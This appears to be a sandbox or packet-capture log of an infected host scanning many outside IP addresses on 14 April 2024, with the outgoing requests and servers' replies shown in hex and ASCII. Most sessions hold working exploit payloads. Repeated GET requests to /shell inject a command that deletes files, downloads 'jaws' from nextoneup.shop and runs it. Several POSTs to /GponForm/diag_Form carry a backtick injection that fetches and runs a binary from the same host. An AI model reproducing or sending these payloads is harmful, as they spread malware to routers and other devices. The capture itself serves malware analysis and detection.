3c 2f 70 3e 3c 68 32 3e 45 72 72 6f 72 20 34 30 34 3c 2f 68 32 3e 3c 70 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 65 72 76 65 72 22 3e 53 6f 6e 69 63 57 61 6c 6c 20 53 65 72 76 65 72 3c 2f 73 70 61 6e 3e 3c 2f 70 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"><head><title>File not found!</title><style type="text/css">.../--><![CDATA[/>.../ body { color: #000000; background-color: #FFFFFF; }span.url { text-decoration: underline; }p {margin-left: 3em;}span.server {font-size: smaller;}/.../--></style></head><body><h1>File not found!</h1><p>The requested URL <span class="url">/shell?cd /tmp;rm -rf ;wget http://nextoneup.shop/jaws;sh /tmp/jaws</span> was not found on this server.</p><p>If you entered the URL manually please check your spelling and try again.</p><h2>Error 404</h2><p><span class="server">SonicWall Server</span></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1233	192.168.2.23	57620	45.207.75.27	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:29.536616087 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:29.855096102 CEST	457	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.14.2 Date: Sun, 14 Apr 2024 09:59:46 GMT Content-Type: text/html Content-Length: 185 Connection: keep-alive Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body bgcolor="white"><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.14.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1234	192.168.2.23	38032	174.138.8.3	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:29.546756029 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:29.875808001 CEST	412	IN	HTTP/1.1 403 Forbidden Date: Sun, 14 Apr 2024 02:00:29 GMT Server: Apache Content-Length: 199 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1235	192.168.2.23	37298	188.131.28.55	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:29.596204996 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:29.985126972 CEST	483	IN	HTTP/1.0 404 Not Found Date: Sun, 14 Apr 2024 01:57:06 GMT Server: Boa/0.94.13 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS Access-Control-Allow-Headers: X-Requested-With, Content-Type, Accept, Authorization Connection: close Content-Type: text/html; charset=ISO-8859-1 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>404 Not Found</H1>The requested URL /shell was not found on this server.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1236	192.168.2.23	51338	222.107.28.19	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:29.848845005 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:31.463490963 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:33.351260900 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:37.190682888 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:44.869643927 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:59.971473932 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:31.199076891 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1237	192.168.2.23	59856	188.128.178.31	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:29.883244038 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:30.219917059 CEST	284	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Sun, 14 Apr 2024 02:00:30 GMT Content-Type: text/html Content-Length: 124 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 6f 70 73 21 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Oops! 403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1238	192.168.2.23	38216	202.31.182.14	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:29.929323912 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1239	192.168.2.23	40734	39.106.19.0	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:29.946135044 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:30.291090965 CEST	336	IN	HTTP/1.1 404 Not Found Server: nginx/1.12.1 Date: Sun, 14 Apr 2024 02:00:30 GMT Content-Type: text/html Content-Length: 169 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.12.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1240	192.168.2.23	55548	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:30.005637884 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 30 3a 31 36 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:00:16Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1241	192.168.2.23	59212	123.220.234.149	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:30.369060993 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1242	192.168.2.23	52636	109.169.150.181	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:30.369095087 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1243	192.168.2.23	40212	94.23.52.185	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:30.369123936 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1244	192.168.2.23	40034	210.234.14.118	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:30.369153023 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1245	192.168.2.23	46504	148.51.2.14	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:30.369189978 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1246	192.168.2.23	59368	37.47.187.194	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:30.369225025 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1247	192.168.2.23	43576	178.0.68.110	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:30.369271994 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1248	192.168.2.23	40058	117.66.183.58	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:30.369318008 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1249	192.168.2.23	57930	2.112.59.48	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:30.369362116 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1250	192.168.2.23	48560	140.248.164.226	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:30.748807907 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:31.282171011 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:31.452934027 CEST	545	IN	HTTP/1.1 500 Domain Not Found Connection: keep-alive Content-Length: 246 Server: Varnish Retry-After: 0 content-type: text/html Cache-Control: private, no-cache X-Served-By: cache-bur-kbur8200096-BUR Accept-Ranges: bytes Date: Sun, 14 Apr 2024 02:00:31 GMT Via: 1.1 varnish Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 46 61 73 74 6c 79 20 65 72 72 6f 72 3a 20 75 6e 6b 6e 6f 77 6e 20 64 6f 6d 61 69 6e 20 31 32 37 2e 30 2e 30 2e 31 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 70 3e 46 61 73 74 6c 79 20 65 72 72 6f 72 3a 20 75 6e 6b 6e 6f 77 6e 20 64 6f 6d 61 69 6e 3a 20 31 32 37 2e 30 2e 30 2e 31 2e 20 50 6c 65 61 73 65 20 63 68 65 63 6b 20 74 68 61 74 20 74 68 69 73 20 64 6f 6d 61 69 6e 20 68 61 73 20 62 65 65 6e 20 61 64 64 65 64 20 74 6f 20 61 20 73 65 72 76 69 63 65 2e 3c 2f 70 3e 0a 3c 70 3e 44 65 74 61 69 6c 73 3a 20 63 61 63 68 65 2d 62 75 72 2d 6b 62 75 72 38 32 30 30 30 39 36 2d 42 55 52 3c 2f 70 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>Fastly error: unknown domain 127.0.0.1</title></head><body><p>Fastly error: unknown domain: 127.0.0.1. Please check that this domain has been added to a service.</p><p>Details: cache-bur-kbur8200096-BUR</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1251	192.168.2.23	39136	104.167.72.190	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:33.109127998 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:33.279652119 CEST	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:00:33 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1252	192.168.2.23	45764	199.250.209.11	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:33.109299898 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1253	192.168.2.23	58490	190.253.246.27	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:33.224100113 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
